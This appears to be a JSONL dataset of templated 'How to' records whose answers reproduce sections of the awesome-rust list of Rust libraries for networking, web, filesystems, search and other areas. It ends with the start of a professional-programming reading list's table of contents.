{"id": "gh_dfc8b54c7e93", "question": "How to: Distributed systems", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Antimony\n  * [antimonyproject/antimony](https://github.com/antimonyproject/antimony) [[antimony](https://crates.io/crates/antimony)] - stream processing / distributed computation platform\n* Apache Kafka\n  * [fede1024/rust-rdkafka](https://github.com/fede1024/rust-rdkafka) [[rdkafka](https://crates.io/crates/rdkafka)] - [librdkafka](https://github.com/confluentinc/librdkafka) bindings\n  * [gklijs/schema_registry_converter](https://github.com/gklijs/schema_registry_converter) [[schema_registry_converter](https://crates.io/crates/schema_registry_converter)] - to integrate with [confluent schema registry](https://www.confluent.io/product/confluent-platform/data-compatibility/)\n  * [kafka-rust/kafka-rust](https://github.com/kafka-rust/kafka-rust) - Rust client for Apache Kafka\n* HDFS\n  * [hyunsik/hdfs-rs](https://github.com/hyunsik/hdfs-rs) [[hdfs](https://crates.io/crates/hdfs)] - libhdfs bindings\n* Other\n  * [build-trust/ockam](https://github.com/build-trust/ockam) [[ockam](https://crates.io/crates/ockam)] - End-to-End Encryption, Mutual Authentication, and ABAC for distributed applications [![build badge](https://github.com/build-trust/ockam/workflows/Rust/badge.svg)](https://github.com/build-trust/ockam)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313311"}
{"id": "gh_98d16ef4df8e", "question": "How to: Domain driven design", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [serverlesstechnology/cqrs](https://github.com/serverlesstechnology/cqrs) [[cqrs-es](https://crates.io/crates/cqrs-es)] - A framework for CQRS and event sourcing with [user guide](https://doc.rust-cqrs.org/)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313316"}
{"id": "gh_7f9448e33037", "question": "How to: Filesystem", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[filesystem](https://crates.io/keywords/filesystem)]\n* Operations\n  * [Camino](https://github.com/camino-rs/camino) [[camino](https://crates.io/crates/camino)] - Like Rust's std::path::Path, but UTF-8.\n  * [dnbln/dir-structure](https://github.com/dnbln/dir-structure) [[dir-structure](https://crates.io/crates/dir-structure)] - Model file system trees with plain Rust structures. [![Tests](https://github.com/dnbln/dir-structure/actions/workflows/test-dir-structure.yml/badge.svg?branch=trunk)](https://github.com/dnbln/dir-structure/actions/workflows/test-dir-structure.yml)\n  * [OpenDAL](https://github.com/apache/opendal) [[opendal](https://crates.io/crates/opendal)] - A unified data access layer, empowering users to seamlessly and efficiently retrieve data from diverse storage services. [![build](https://img.shields.io/github/actions/workflow/status/apache/opendal/ci_core.yml?branch=main)](https://github.com/apache/opendal/actions?query=branch%3Amain)\n  * [ParthJadhav/Rust_Search](https://github.com/ParthJadhav/Rust_Search) [[rust_search](https://crates.io/crates/rust_search)] - Blazingly fast file search library.\n  * [pop-os/dbus-udisks2](https://github.com/pop-os/dbus-udisks2) [[dbus-udisks2](https://crates.io/crates/dbus-udisks2)] - UDisks2 DBus API\n  * [pop-os/sys-mount](https://github.com/pop-os/sys-mount) [[sys-mount](https://crates.io/crates/sys-mount)] - High level abstraction for the `mount` / `umount2` system calls.\n  * [vitiral/path_abs](https://github.com/vitiral/path_abs) [[path_abs](https://crates.io/crates/path_abs)] - Absolute serializable path types and associated methods.\n  * [webdesus/fs_extra](https://github.com/webdesus/fs_extra) - expanding opportunities standard library std::fs and std::io\n* Temporary Files\n  * [Stebalien/tempfile](https://github.com/Stebalien/tempfile) - temporary file library\n  * [Stebalien/xattr](https://github.com/Stebalien/xattr) [[xattr](https://crates.io/crates/xattr)] - list and manipulate unix extended file attributes\n  * [zboxfs/zbox](https://github.com/zboxfs/zbox) [[zbox](https://crates.io/crates/zbox)] - Zero-details, privacy-focused embeddable file system.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313332"}
{"id": "gh_c7a7a0ef0bb6", "question": "How to: Functional Programming", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[functional programming](https://crates.io/keywords/fp)]\n* Prelude\n  * [JasonShin/fp-core.rs](https://github.com/JasonShin/fp-core.rs) - A library for functional programming\n  * [myrrlyn/tap](https://github.com/myrrlyn/tap) - Suffix-Position Pipeline Behavior", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313337"}
{"id": "gh_bf15b001a923", "question": "How to: Geospatial", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[geo](https://crates.io/keywords/geo), [gis](https://crates.io/keywords/gis)]\n\n* [apache/sedona-db](https://github.com/apache/sedona-db) - SedonaDB is a geospatial DataFrame library written in Rust.\n* [DaveKram/coord_transforms](https://github.com/DaveKram/coord_transforms) [[coord_transforms](https://crates.io/crates/coord_transforms)] - coordinate transformations (2-d, 3-d, and geospatial)\n* [Georust](https://github.com/georust) - geospatial tools and libraries written\n* [MapLibre/Martin](https://github.com/maplibre/martin) - Map tile server with PostGIS, MBTiles, PMTiles, and sprites support. [![CI build](https://github.com/maplibre/martin/actions/workflows/ci.yml/badge.svg)](https://github.com/maplibre/martin/actions)[![crates.io version](https://img.shields.io/crates/v/martin.svg)](https://crates.io/crates/martin)[![Book](https://img.shields.io/badge/docs-Book-informational)](https://maplibre.org/martin/)\n* [rust-reverse-geocoder](https://github.com/gx0r/rrgeo) - A fast, offline reverse geocoder, inspired by [thampiman/reverse-geocoder](https://github.com/thampiman/reverse-geocoder)\n* [vlopes11/geomorph](https://github.com/vlopes11/geomorph) [[geomorph](https://crates.io/crates/geomorph)] - conversion between UTM, LatLon and MGRS coordinates", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313357"}
{"id": "gh_36b9119c2c66", "question": "How to: Graph algorithms", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [neo4j-labs/graph](https://github.com/neo4j-labs/graph) - A library for high-performant graph algorithms [![graph CI status](https://img.shields.io/github/workflow/status/neo4j-labs/graph/CI/main?label=CI)](https://github.com/neo4j-labs/graph/actions/workflows/rust.yml)\n* [petgraph/petgraph](https://github.com/petgraph/petgraph) - Graph data structure library. [![graph CI status](https://github.com/petgraph/petgraph/workflows/Continuous%20integration/badge.svg?branch=master)](https://github.com/petgraph/petgraph/actions/workflows/ci.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313362"}
{"id": "gh_a267a158aff8", "question": "How to: Language specification", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [shnewto/bnf](https://github.com/shnewto/bnf) - A library for parsing Backus–Naur form context-free grammars.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313383"}
{"id": "gh_19c49c62bcbf", "question": "How to: Markup language", "question_body": "About rust-unofficial/awesome-rust", "answer": "* CommonMark\n  * [pulldown-cmark/pulldown-cmark](https://github.com/pulldown-cmark/pulldown-cmark) - [CommonMark](https://commonmark.org/) parser\n* [insomnimus/tidier](https://github.com/insomnimus/tidier) [[tidier](https://crates.io/crates/tidier)] - A library to format HTML, XHTML and XML documents. [![build badge](https://github.com/insomnimus/tidier/actions/workflows/main.yml/badge.svg?branch=main)](https://github.com/insomnimus/tidier/actions)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313389"}
{"id": "gh_74c88bb70ef8", "question": "How to: Network programming", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Bluetooth\n  * [bluez/bluer](https://github.com/bluez/bluer) [[bluer](https://crates.io/crates/bluer)] - Official BlueZ bindings. [![build badge](https://github.com/bluez/bluer/actions/workflows/rust.yml/badge.svg?branch=master)](https://github.com/bluez/bluer/actions/workflows/rust.yml)\n* CoAP\n  * [Covertness/coap-rs](https://github.com/Covertness/coap-rs) - A [Constrained Application Protocol(CoAP)](https://datatracker.ietf.org/doc/html/rfc7252) library.\n* Docker\n  * [fussybeaver/bollard](https://github.com/fussybeaver/bollard) - Docker daemon API\n* FTP\n  * [mattnenterprise/rust-ftp](https://github.com/mattnenterprise/rust-ftp) - an [FTP](https://en.wikipedia.org/wiki/File_Transfer_Protocol) client\n* gRPC\n  * [hyperium/tonic](https://github.com/hyperium/tonic) - A native gRPC client & server implementation with async/await support [![Crates.io](https://img.shields.io/crates/v/tonic)](https://crates.io/crates/tonic)\n  * [tikv/grpc-rs](https://github.com/tikv/grpc-rs) - The gRPC library built on C Core library and futures\n* HTTP\n  * [deboa](https://crates.io/crates/deboa) - A friendly http client on top of hyper with several addoons, serialization formats and macros. [![Crates.io](https://img.shields.io/crates/v/deboa)]\n  * [Hurl](https://github.com/Orange-OpenSource/hurl) - Run and test HTTP requests with plain text and libcurl [![CI](https://github.com/Orange-OpenSource/hurl/workflows/CI/badge.svg)](https://github.com/Orange-OpenSource/hurl/actions)\n* IPNetwork\n  * [achanda/ipnetwork](https://github.com/achanda/ipnetwork) - A library to work with IP networks\n  * [candrew/netsim](https://github.com/canndrew/netsim) - A library for network simulation and testing\n* Low level\n  * [actix/actix](https://github.com/actix/actix) - Actor library\n  * [dylanmckay/protocol](https://github.com/dylanmckay/protocol) - Custom TCP/UDP protocol definitions\n  * [libpnet/libpnet](https://github.com/libpnet/libpnet) - A cross-platform, low level networking\n  * [smoltcp-rs/smoltcp](https://github.com/smoltcp-rs/smoltcp) - A standalone, event-driven TCP/IP stack that is designed for bare-metal, real-time systems\n* message-io\n  * [lemunozm/message-io](https://github.com/lemunozm/message-io) - Event-driven message library to build network applications easy and fast. Supports TCP, UDP and WebSockets. [![build badge](https://img.shields.io/github/workflow/status/lemunozm/message-io/message-io%20ci)](https://github.com/lemunozm/message-io/actions?query=workflow%3A%22message-io+ci%22)\n* MQTT\n  * [bytebeamio/rumqtt](https://github.com/bytebeamio/rumqtt) - A library for developers to build applications that communicate with the [MQTT protocol](https://mqtt.org) over TCP and WebSockets, with or without TLS. [![Build and Test](https://github.com/bytebeamio/rumqtt/actions/workflows/build.yml/badge.svg)](https://github.com/bytebeamio/rumqtt/actions/workflows/build.yml)\n  * [rmqtt/rmqtt](https://github.com/rmqtt/rmqtt) - MQTT Server/MQTT Broker - Scalable Distributed MQTT Message Broker for IoT in the 5G Era\n* NanoMsg\n  * [thehydroimpulse/nanomsg.rs](https://github.com/thehydroimpulse/nanomsg.rs) - [nanomsg](https://nanomsg.org/) bindings\n* NATS\n  * [nats-io/nats.rs](https://github.com/nats-io/nats.rs) - Client for NATS, the cloud native messaging system. [![Build Status](https://github.com/nats-io/nats.rs/workflows/Rust/badge.svg?branch=master)](https://github.com/nats-io/nats.rs/actions)\n* Nng\n  * [neachdainn/nng-rs](https://gitlab.com/neachdainn/nng-rs) [[Nng](https://crates.io/crates/nng)] - [Nng (nanomsg v2)](https://nng.nanomsg.org/index.html) bindings [![build badge](https://gitlab.com/neachdainn/nng-rs/badges/master/pipeline.svg)](https://gitlab.com/neachdainn/nng-rs/-/pipelines)\n* NNTP\n  * [mattnenterprise/rust-nntp](https://github.com/mattnenterprise/rust-nntp) [[nntp](https://crates.io/crates/nntp)] - an [NNTP](https://en.wikipedia.org/wiki/Network_News_Transfer_Protocol) client\n* P2P\n  * [libp2p/rust-libp2p](https://github.com/libp2p/rust-libp2p) - Implementation of libp2p networking stack. [![Circle CI](https://circleci.com/gh/libp2p/rust-libp2p.svg?style=svg)](https://app.circleci.com/pipelines/github/libp2p/rust-libp2p)\n  * [n0-computer/iroh](https://github.com/n0-computer/iroh) [[iroh](https://crates.io/crates/iroh)] - crate for building on direct connections between devices [![CI](https://github.com/n0-computer/iroh/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/n0-computer/iroh/actions/workflows/ci.yml)\n* POP3\n  * [mattnenterprise/rust-pop3](https://github.com/mattnenterprise/rust-pop3) [[pop3](https://crates.io/crates/pop3)] - A [POP3](https://en.wikipedia.org/wiki/Post_Office_Protocol) client\n* QUIC\n  * [aws/s2n-quic](https://github.com/aws/s2n-quic) - An implementation of the IETF QUIC protocol ![ci](https://img.shields.io/github/actions/workflow/status/aws/s2n-quic/ci.yml?branch=main)\n  * [cloudflare/quiche](https://github.com/cloudflare/quiche) - cloudflare implementation of the QUIC transport pr", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313407"}
{"id": "gh_1560a75da077", "question": "How to: Peripherals", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Fingerprint reader\n  * [alvaroparker/libfprint-rs](https://github.com/alvaroparker/libfprint-rs) [[libfprint-rs](https://crates.io/crates/libfprint-rs)] - Libfprint-rs provides a wrapper around the Linux libfprint library.\n* Serial Port\n  * [serialport/serialport-rs](https://github.com/serialport/serialport-rs) [[serialport](https://crates.io/crates/serialport)] - A cross-platform library that provides access to a serial port", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313414"}
{"id": "gh_e6db31d5f562", "question": "How to: Platform specific", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Cross-platform\n  * [iddm/thread-priority](https://github.com/iddm/thread-priority/) - Simple, crossplatform thread priority management. [![CI](https://github.com/iddm/thread-priority/actions/workflows/ci.yml/badge.svg)](https://github.com/iddm/thread-priority/actions/workflows/ci.yml) [![Crates badge](https://img.shields.io/crates/v/thread-priority.svg)](https://crates.io/crates/thread-priority)\n  * [svartalf/rust-battery](https://crates.io/crates/battery) - Cross-platform information about the notebook batteries\n* FreeBSD\n  * [fubarnetes/libjail-rs](https://github.com/fubarnetes/libjail-rs/) [[jail](https://crates.io/crates/jail)] - FreeBSD jail library\n* Linux\n  * [hannobraun/inotify-rs](https://github.com/hannobraun/inotify-rs) - [inotify](https://en.wikipedia.org/wiki/Inotify) bindings [![Rust](https://github.com/hannobraun/inotify-rs/actions/workflows/rust.yml/badge.svg)](https://github.com/hannobraun/inotify-rs/actions/workflows/rust.yml)\n  * [pop-os/distinst](https://github.com/pop-os/distinst/) - Linux distribution installer\n  * [yaa110/rust-iptables](https://github.com/yaa110/rust-iptables) [[iptables](https://crates.io/crates/iptables)] - [iptables](https://www.netfilter.org/projects/iptables/index.html) bindings\n* Unix-like\n  * [nix-rust/nix](https://github.com/nix-rust/nix) - Unix-like API bindings [![Cirrus Build Status](https://api.cirrus-ci.com/github/nix-rust/nix.svg)](https://cirrus-ci.com/github/nix-rust/nix)\n  * [rustix](https://github.com/bytecodealliance/rustix) - Safe bindings to POSIX/Unix/Linux/Winsock2 syscalls [![Actions Status](https://github.com/bytecodealliance/rustix/workflows/CI/badge.svg)](https://github.com/bytecodealliance/rustix/actions?query=workflow%3ACI)\n  * [zargony/fuse-rs](https://github.com/zargony/fuse-rs) - [FUSE](https://github.com/libfuse/libfuse) bindings\n* Windows\n  * [microsoft/windows-rs](https://github.com/microsoft/windows-rs) - Rust for Windows [![Actions Status](https://github.com/microsoft/windows-rs/workflows/CI/badge.svg)](https://github.com/microsoft/windows-rs/actions)\n  * [retep998/winapi-rs](https://github.com/retep998/winapi-rs) - Windows API bindings [![Rust](https://github.com/retep998/winapi-rs/actions/workflows/rust.yml/badge.svg?branch=dev)](https://github.com/retep998/winapi-rs/actions/workflows/rust.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313421"}
{"id": "gh_8ce3f7d15fe2", "question": "How to: Reverse engineering", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [binarly-io/idalib](https://github.com/binarly-io/idalib) [[idalib](https://crates.io/crates/idalib)] - Rust bindings for the IDA SDK, enabling the development of standalone analysis tools using IDA v9.0’s idalib\n* [objdiff](https://github.com/encounter/objdiff) - A local diffing tool for decompilation projects", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313427"}
{"id": "gh_3d032acf6357", "question": "How to: Simulation", "question_body": "About rust-unofficial/awesome-rust", "answer": "[[simulation](https://crates.io/keywords/simulation)]\n\n* [nyx-space](https://crates.io/crates/nyx-space) - High fidelity, fast, reliable and validated astrodynamical toolkit library, used for spacecraft mission design and orbit determination [![Build Status](https://gitlab.com/nyx-space/nyx/badges/master/pipeline.svg)](https://gitlab.com/nyx-space/nyx/-/pipelines)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313433"}
{"id": "gh_aac0f02f3e79", "question": "How to: Template engine", "question_body": "About rust-unofficial/awesome-rust", "answer": "* Handlebars\n  * [sunng87/handlebars-rust](https://github.com/sunng87/handlebars-rust) - Handlebars template engine with inheritance, custom helper support.\n  * [zzau13/yarte](https://github.com/zzau13/yarte) - Yarte stands for **Y**et **A**nother **R**ust **T**emplate **E**ngine, is the fastest template engine.\n* HTML\n  * [askama](https://github.com/askama-rs/askama) - template rendering engine based on Jinja\n  * [kaj/ructe](https://github.com/kaj/ructe) - HTML template system\n  * [Keats/tera](https://github.com/Keats/tera) - template engine based on Jinja2 and the Django template language. [![Actions Status](https://github.com/Keats/tera/workflows/ci/badge.svg?branch=master)](https://github.com/Keats/tera/actions)\n  * [lambda-fairy/maud](https://github.com/lambda-fairy/maud) - compile-time HTML templates\n  * [Stebalien/horrorshow-rs](https://github.com/Stebalien/horrorshow-rs) - compile-time HTML templates\n* Mustache\n  * [rustache/rustache](https://github.com/rustache/rustache) - a Rust implementation of the Mustache spec", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313449"}
{"id": "gh_8ed6bb801085", "question": "How to: Text search", "question_body": "About rust-unofficial/awesome-rust", "answer": "* [andylokandy/simsearch-rs](https://github.com/andylokandy/simsearch-rs) [[simsearch](https://crates.io/crates/simsearch)] - A simple and lightweight fuzzy search engine that works in memory, searching for similar strings\n* [BurntSushi/fst](https://github.com/BurntSushi/fst) [[fst](https://crates.io/crates/fst)] - a fast implementation of ordered sets and maps using finite state machines\n* [CurrySoftware/perlin](https://github.com/CurrySoftware/perlin) [[perlin](https://crates.io/crates/perlin)] - A lazy, zero-allocation and data-agnostic Information Retrieval library\n* [meilisearch/MeiliSearch](https://github.com/meilisearch/MeiliSearch) - Ultra relevant, instant and typo-tolerant full-text search API. [![Build Status](https://github.com/meilisearch/MeiliSearch/workflows/Cargo%20test/badge.svg?branch=master)](https://github.com/meilisearch/MeiliSearch/actions)\n* [pg_search](https://github.com/paradedb/paradedb/tree/dev/pg_search) - PostgreSQL extension that enables full-text search over SQL tables using the BM25 algorithm, the state-of-the-art ranking function for full-text search.\n* [SeekStorm](https://github.com/SeekStorm/SeekStorm) [[SeekStorm](https://crates.io/crates/seekstorm)] - sub-millisecond full-text search library & multi-tenancy server in Rust\n* [tantivy](https://github.com/quickwit-oss/tantivy) [[tantivy](https://crates.io/crates/tantivy)] - A horse-speed full-text search engine library written in Rust. [![Build Status](https://github.com/quickwit-oss/tantivy/actions/workflows/test.yml/badge.svg)](https://github.com/quickwit-oss/tantivy/actions/workflows/test.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313463"}
{"id": "gh_39c22f5dbf12", "question": "How to: Web programming", "question_body": "About rust-unofficial/awesome-rust", "answer": "See also [Are we web yet?](https://www.arewewebyet.org) and [Rust web framework comparison](https://github.com/flosse/rust-web-framework-comparison).\n* Backend\n  * [actix/actix-web](https://github.com/actix/actix-web) - A lightweight async web framework with websocket support\n  * [Anansi](https://github.com/saru-tora/anansi) - A simple full-stack web framework\n  * [Rocket](https://github.com/rwf2/Rocket) - Rocket is a web framework with a focus on ease-of-use, expressability, and speed\n  * [spring-rs](https://github.com/spring-rs/spring-rs) - spring-rs is a application framework written in rust inspired by java's spring-boot.\n  * [tako](https://github.com/rust-dd/tako) - Tako is an asynchronous web framework for Rust on Hyper & Tokio. [GitHub Workflow Status](https://github.com/rust-dd/tako/actions/workflows/ci.yml/badge.svg)\n  * [tokio/axum](https://github.com/tokio-rs/axum) - Ergonomic and modular web framework built with Tokio, Tower, and Hyper [![Build badge](https://github.com/tokio-rs/axum/actions/workflows/CI.yml/badge.svg?branch=main)](https://github.com/tokio-rs/axum/actions/workflows/CI.yml)\n* Client-side / WASM\n  * [cargo-web](https://crates.io/crates/cargo-web) - A Cargo subcommand for the client-side Web\n  * [leptos](https://github.com/leptos-rs/leptos) - Leptos is a full-stack, isomorphic web framework leveraging fine-grained reactivity to build declarative user interfaces.[![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/leptos)\n  * [sauron](https://github.com/ivanceras/sauron) - Client side web framework which closely adheres to The Elm Architecture.\n  * [seed](https://github.com/seed-rs/seed) - A framework for creating web apps\n  * [stdweb](https://crates.io/crates/stdweb) - A standard library for the client-side Web\n  * [tinyweb](https://github.com/LiveDuo/tinyweb) - A minimal Rust web framework for wasm in 800 lines of code\n  * [yew](https://crates.io/crates/yew) - A framework for making client web apps\n* HTTP Client\n  * [0x676e67/wreq](https://github.com/0x676e67/wreq) - An ergonomic Rust HTTP Client with TLS fingerprint. [![CI](https://github.com/0x676e67/wreq/actions/workflows/ci.yml/badge.svg)](https://github.com/0x676e67/wreq/actions/workflows/ci.yml) [![crates.io](https://img.shields.io/crates/v/wreq.svg?logo=rust)](https://crates.io/crates/wreq)\n  * [alexcrichton/curl-rust](https://github.com/alexcrichton/curl-rust) - [libcurl](https://curl.se/libcurl/) bindings\n  * [async-graphql](https://github.com/async-graphql/async-graphql) - A GraphQL server library [![Build Status](https://dev.azure.com/graphql-rust/GraphQL%20Rust/_apis/build/status/graphql-rust.juniper)](https://dev.azure.com/graphql-rust/GraphQL%20Rust/_build/latest?definitionId=1)\n  * [c410-f3r/wtx](https://github.com/c410-f3r/wtx) - HTTP/2 client framework\n  * [DoumanAsh/yukikaze](https://gitlab.com/Douman/yukikaze) [[yukikaze](https://crates.io/crates/yukikaze)] - Beautiful and elegant Yukikaze is little HTTP client library based on hyper. [![build badge](https://gitlab.com/Douman/yukikaze/badges/master/pipeline.svg)](https://gitlab.com/Douman/yukikaze)\n  * [ducaale/xh](https://github.com/ducaale/xh) - Friendly and fast tool for sending HTTP requests [![crate](https://img.shields.io/crates/v/create-rust-app.svg)](https://crates.io/crates/xh) [![GitHub actions Status](https://github.com/ducaale/xh/workflows/CI/badge.svg?branch=master)](https://github.com/ducaale/xh/actions)\n  * [graphql-client](https://github.com/graphql-rust/graphql-client) - Typed, correct GraphQL requests and responses. [![GitHub actions Status](https://github.com/graphql-rust/graphql-client/workflows/CI/badge.svg?branch=master)](https://github.com/graphql-rust/graphql-client/actions)\n  * [hyperium/hyper](https://github.com/hyperium/hyper) - an HTTP implementation [![CI](https://github.com/hyperium/hyper/workflows/CI/badge.svg?branch=master)](https://github.com/hyperium/hyper/actions?query=workflow%3ACI)\n  * [plabayo/rama](https://github.com/plabayo/rama) - A modular service framework to move and transform your network packets, can be used among other things, to build clients with TLS, JA3/JA4, H2 and QUIC/H3 fingerprint impersonation\n  * [seanmonstar/reqwest](https://github.com/seanmonstar/reqwest) - an ergonomic HTTP Client.\n* HTTP Server\n  * [branca](https://crates.io/crates/branca) - Implementation of Branca for Authenticated and Encrypted API tokens.\n  * [c410-f3r/wtx](https://github.com/c410-f3r/wtx) - Low and high level HTTP/2 server\n  * [carllerche/tower-web](https://github.com/carllerche/tower-web) [[tower-web](https://crates.io/crates/tower-web)] - A fast, boilerplate free, web framework\n  * [Cot](https://github.com/cot-rs/cot) - The Rust web framework for lazy developers.\n  * [GildedHonour/frank_jwt](https://github.com/GildedHonour/frank_jwt) - JSON Web Token implementation.\n  * [Gotham](https://github.com/gotham-rs/gotham) - A flexible web framework that does not sacrifice safety, security or speed.", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313493"}
{"id": "gh_d98a9ded0347", "question": "How to: Registries", "question_body": "About rust-unofficial/awesome-rust", "answer": "A registry allows you to publish your Rust libraries as crate packages, to share them with others publicly and privately.\n\n* [cenotelie/cratery](https://github.com/cenotelie/cratery) - A lightweight private cargo registry with batteries included, built for organisations, including features similar to [docs.rs](https://docs.rs) and [deps.rs](https://deps.rs). [![CI](https://github.com/cenotelie/cratery/actions/workflows/ci.yml/badge.svg)](https://github.com/cenotelie/cratery/actions/workflows/ci.yml)\n* [Cloudsmith :heavy_dollar_sign:](https://cloudsmith.com/product/formats/cargo-registry) - A fully managed package management SaaS, with first-class support for public and private Cargo/Rust registries (plus many others). Has a generous free-tier and is also completely free for open-source.\n* [Crates](https://crates.io) - The official public registry for Rust/Cargo.\n* [RepoFlow](https://www.repoflow.io) - A simple and modern repository platform that can host Rust crate repositories and proxy crates.io. Also supports other package types like Docker, PyPI, Maven, npm, and RubyGems. Available as a cloud service or self-hosted.\n* [w4/chartered](https://github.com/w4/chartered) - A private, authenticated, permissioned Cargo registry [![CI](https://github.com/w4/chartered/actions/workflows/ci.yml/badge.svg)](https://github.com/w4/chartered/actions/workflows/ci.yml)", "tags": ["rust-unofficial"], "source": "github_gists", "category": "rust-unofficial", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 55036, "answer_score": 10, "has_code": false, "url": "https://github.com/rust-unofficial/awesome-rust", "collected_at": "2026-01-16T23:27:42.313500"}
{"id": "gh_562994b7fc1a", "question": "How to: Table of Contents", "question_body": "About charlax/professional-programming", "answer": "- [Professional Programming - about this list](#professional-programming---about-this-list)\n  - [Principles](#principles)\n  - [Contributing to this list](#contributing-to-this-list)\n  - [Must-read books](#must-read-books)\n  - [Must-read articles](#must-read-articles)\n  - [Other general material and list of resources](#other-general-material-and-list-of-resources)\n    - [Other lists](#other-lists)\n    - [Books](#books)\n    - [Articles](#articles)\n    - [Axioms](#axioms)\n    - [Courses](#courses)\n  - [Topics](#topics)\n    - [Accounting](#accounting)\n    - [Algorithm and data structures](#algorithm-and-data-structures)\n    - [API design & development](#api-design--development)\n    - [Attitude, habits, mindset](#attitude-habits-mindset)\n      - [Procrastination](#procrastination)\n    - [Authentication/authorization](#authenticationauthorization)\n    - [Automation](#automation)\n    - [Best practices](#best-practices)\n    - [Beyond software engineering & random](#beyond-software-engineering--random)\n    - [Biases](#biases)\n    - [Business](#business)\n    - [Buy vs. Build](#buy-vs-build)\n    - [Cache](#cache)\n    - [Career growth](#career-growth)\n      - [Choosing your next/first opportunity](#choosing-your-nextfirst-opportunity)\n      - [Getting to Staff Eng](#getting-to-staff-eng)\n    - [Characters sets](#characters-sets)\n    - [Chess](#chess)\n    - [Clouds](#clouds)\n    - [Code reviews](#code-reviews)\n    - [Coding & code quality](#coding--code-quality)\n    - [Communication](#communication)\n    - [Compilers](#compilers)\n    - [Configuration](#configuration)\n    - [Continuous Integration (CI)](#continuous-integration-ci)\n    - [Data analysis & data science](#data-analysis--data-science)\n    - [Databases](#databases)\n      - [NoSQL](#nosql)\n      - [Postgres](#postgres)\n    - [Data formats](#data-formats)\n    - [Data science/data engineering](#data-sciencedata-engineering)\n    - [Debugging](#debugging)\n    - [Design (visual, UX, UI, typography)](#design-visual-ux-ui-typography)\n    - [Design (OO modeling, architecture, patterns, anti-patterns, etc.)](#design-oo-modeling-architecture-patterns-anti-patterns-etc)\n      - [Design: database schema](#design-database-schema)\n      - [Design: 